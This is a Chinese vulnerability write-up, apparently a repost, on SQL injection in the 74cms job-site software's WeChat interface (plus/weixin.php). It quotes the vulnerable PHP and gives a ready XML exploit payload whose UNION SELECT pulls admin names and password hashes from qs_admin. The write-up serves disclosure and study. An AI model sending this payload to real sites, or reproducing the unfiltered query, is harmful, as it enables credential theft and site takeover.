版本为最新的20140808
0x01代码分析
看到\plus\weixin.php有如下代码
public function responseMsg() { $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; if (!empty($postStr)) { $postObj = simplexml_load_string($postStr, ‘SimpleXMLElement‘, LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $keyword = iconv("utf-8","gb2312",$keyword); $time = time(); $event = trim($postObj->Event); if ($event === "subscribe") { $word= "回复j返回紧急招聘,回复n返回最新招聘!您可以尝试输入职位名称如“会计”,系统将会返回您要找的信息,我们努力打造最人性化的服务平台,谢谢关注。"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } if (!empty($keyword)) { if($_CFG[‘sina_apiopen‘]==‘0‘) { $word="网站微信接口已经关闭"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } $limit=" LIMIT 6"; $orderbysql=" ORDER BY refreshtime DESC"; if($keyword=="n") { $jobstable=table(‘jobs_search_rtime‘); } else if($keyword=="j") { $jobstable=table(‘jobs_search_rtime‘); $wheresql=" where `emergency`=1 "; } else { $jobstable=table(‘jobs_search_key‘); $wheresql.=" where likekey LIKE ‘%{$keyword}%‘ "; } $word=‘‘; $list = $id = array(); $idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit); while($row = $this->fetch_array($idresult)) { $id[]=$row[‘id‘]; } if (!empty($id)) { $wheresql=" WHERE id IN (".implode(‘,‘,$id).") "; $result = $this->query("SELECT * FROM ".table(‘jobs‘).$wheresql.$orderbysql); while($row = $this->fetch_array($result)) { //$row[‘jobs_url‘]=url_rewrite(‘QS_jobsshow‘,array(‘id‘=>$row[‘id‘])); $row[‘addtime‘]=date("Y-m-d",$row[‘addtime‘]); $row[‘deadline‘]=date("Y-m-d",$row[‘deadline‘]); $row[‘refreshtime‘]=date("Y-m-d",$row[‘refreshtime‘]); $word.="{$row[‘companyname‘]}\n招聘职位:{$row[‘jobs_name‘]}\n薪金待遇:{$row[‘wage_cn‘]}\n招聘人数:{$row[‘amount‘]}\n发布日期:{$row[‘addtime‘]}\n截止日期:{$row[‘deadline‘]} \n--------------------------\n"; } } if(empty($word)) { $word="没有找到包含关键字 {$keyword} 的信息,试试其他关键字"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } else { $word=rtrim($word,‘/\n‘); $word=rtrim($word,‘-‘); $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } } else { exit(""); } } }
使用$GLOBALS["HTTP_RAW_POST_DATA"]; 接收参数,这个类似于POST,但是和POST有点点不一样。如果提提交a=1,它接收的也是a=1。然后继续看代码,我们传进来的值经过了simplexml_load_string这个函数,这个函数是用来解析xml的。然后我们看到$keyword,跟踪一下$keyword发现直接进入了数据库。这个中间是没有任何过滤的。但是,看到有单引号,不过没关系我们传进来的参数的不受GPC影响的。然后如何利用呢?我们应该构造一个恶意的xml,来进行注入。
0x02漏洞利用
我们看到$keyword的内容是通过</Content>获得的,那我们就构造这样的xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xml><Content>1%‘ union select group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash) from qs_admin#</Content> </xml>
由于是白盒测试,所以数据库结构我们是知道的,然后直接构造exp就行。
74cms注入一枚(无视GPC),布布扣,bubuko.com
时间: 2024-12-28 21:10:37